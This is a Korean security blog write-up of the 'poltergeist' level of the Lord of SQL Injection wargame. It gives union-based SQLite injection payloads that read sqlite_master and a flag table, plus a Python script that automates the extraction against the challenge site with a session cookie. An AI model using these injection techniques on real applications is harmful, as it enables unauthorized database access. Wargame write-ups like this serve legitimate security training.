$ whoami
Home
  • 분류 전체보기 (116)
    • Exploit (9)
      • Tools (2)
      • Exploit (5)
      • Bug Bounty (2)
    • Wargame (82)
      • HackCTF (15)
      • XSS game (6)
      • Dreamhack (2)
      • Webhacking.kr (7)
      • XSS Challenges (8)
      • H4CKING GAME (3)
      • 정보보호영재교육원 (1)
      • Lord of SQL Injection (40)
    • CTF (25)
      • YISF 2022 (2)
      • CBHC 2022 (1)
      • HeroCTF v4 (2)
      • corCTF 2022 (2)
      • Aero CTF 2022 (0)
      • BDSec CTF 2022 (4)
      • San Diego CTF 2022 (5)
      • WACon 2022 Qualifier (1)
      • Cyber Conflict Exercise 202.. (4)
      • DiceCTF 2023 (1)
      • Incognito 4.0 (3)
Home
  • 분류 전체보기 (116)
    • Exploit (9)
      • Tools (2)
      • Exploit (5)
      • Bug Bounty (2)
    • Wargame (82)
      • HackCTF (15)
      • XSS game (6)
      • Dreamhack (2)
      • Webhacking.kr (7)
      • XSS Challenges (8)
      • H4CKING GAME (3)
      • 정보보호영재교육원 (1)
      • Lord of SQL Injection (40)
    • CTF (25)
      • YISF 2022 (2)
      • CBHC 2022 (1)
      • HeroCTF v4 (2)
      • corCTF 2022 (2)
      • Aero CTF 2022 (0)
      • BDSec CTF 2022 (4)
      • San Diego CTF 2022 (5)
      • WACon 2022 Qualifier (1)
      • Cyber Conflict Exercise 202.. (4)
      • DiceCTF 2023 (1)
      • Incognito 4.0 (3)
블로그 내 검색
CONTACT

HACKINTOANETWORK

WEB APPLICATION BUG HUNTER, PENETRATION TESTER

  • Wargame/Lord of SQL Injection

    [Lord of SQL Injection] poltergeist

    2022. 10. 25.

    by. hackintoanetwork

    Prob


     

    Payload


    pw=' union select sql from sqlite_master limit 1,1--%20
    pw=' union select flag_0876285c from flag_70c81d99--%20

     

    Exploit


    import requests
    from bs4 import BeautifulSoup
    
    url = "https://los.rubiya.kr/chall/poltergeist_a62c7abc7e6ce0080dbf0e14a07d1f1d.php?"
    cookie = {'PHPSESSID':'o8k4eis6nm0q904ajkf4t2aiva'}
    
    def tbl_name_and_col_name():
        query = "pw=' union select sql from sqlite_master limit 1,1-- "
        res = requests.get(url=url+query, cookies=cookie)
        soup = BeautifulSoup(res.text, 'html.parser')
        h2 = str(soup.find_all('h2'))
        table_name = h2[25:len(h2)-33]
        column_name = h2[44:len(h2)-14]
        print("TABLE NAME : " + table_name)
        print("COLUMN NAME : " + column_name)
        return table_name, column_name
    
    def get_flag(table_name, column_name):
        query = "pw=' union select {} from {}-- ".format(column_name,table_name)
        res = requests.get(url=url+query,cookies=cookie)
        soup = BeautifulSoup(res.text, 'html.parser')
        h2 = str(soup.find_all('h2'))
        flag = h2[11:len(h2)-6]
        print("FLAG : " + flag)
    
    if __name__ == "__main__":
        table_name, column_name = tbl_name_and_col_name()
        get_flag(table_name, column_name)
     

    GitHub - hackintoanetwork/LOS: Lord of SQL Injection WriteUps

    Lord of SQL Injection WriteUps. Contribute to hackintoanetwork/LOS development by creating an account on GitHub.

    github.com

     

    저작자표시 비영리
    • 카카오스토리
    • 트위터
    • 페이스북

    'Wargame > Lord of SQL Injection' 카테고리의 다른 글

    [Lord of SQL Injection] banshee  (0) 2022.10.25
    [Lord of SQL Injection] manticore  (0) 2022.10.25
    [Lord of SQL Injection] chupacabra  (0) 2022.10.25
    [Lord of SQL Injection] cyclops  (0) 2022.10.23
    [Lord of SQL Injection] godzilla  (0) 2022.10.23
    Lord of SQL Injection, Los, poltergeist, web hacking

    댓글 0

    관련글

    • [Lord of SQL Injection] banshee 2022.10.25
    • [Lord of SQL Injection] manticore 2022.10.25
    • [Lord of SQL Injection] chupacabra 2022.10.25
    • [Lord of SQL Injection] cyclops 2022.10.23
    맨 위로
전체 글 보기
Tistory 로그인
Tistory 로그아웃
로그아웃 글쓰기 관리

Today 0

Total 13,024

Powered by hackintoanetwork

Designed by Nana
블로그 이미지
hackintoanetwork

티스토리툴바